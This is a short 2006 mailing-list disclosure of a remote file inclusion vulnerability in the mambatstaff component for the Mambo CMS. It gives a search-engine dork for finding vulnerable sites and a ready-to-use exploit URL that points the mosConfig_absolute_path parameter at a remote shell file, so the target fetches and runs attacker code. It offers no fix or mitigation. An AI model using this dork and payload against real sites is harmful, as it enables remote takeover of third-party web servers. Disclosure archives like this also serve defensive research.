Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[Full-disclosure] Content Management Framework "G3" - XSS Vulnerability in Search Function

[Full-disclosure] X-Statics 1.20 SQL Injection Vulnerability

[Full-disclosure] X-Protection 1.10 SQL Injection Vulnerability

[Full-disclosure] X-Poll SQL Injection Vulnerability

From:	dr.jr7_(at)_hotmail.com <dr.jr7_(at)_hotmail.com>
Date:	02.08.2006
Subject:	mambatstaff Mambo Component <= Remote Include Vulnerability

# mambatstaff Mambo Component <=  Remote Include Vulnerability

# Rish : High
# Class : Remote
# Script : mambatstaff
# Thanx : www.lezr.com/vb & All kuwait hackers

# d0rkiz : allinurl:"com_mambatstaff"

http://www.site.com/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute
_path=http://shell.txt

# by Dr.Jr7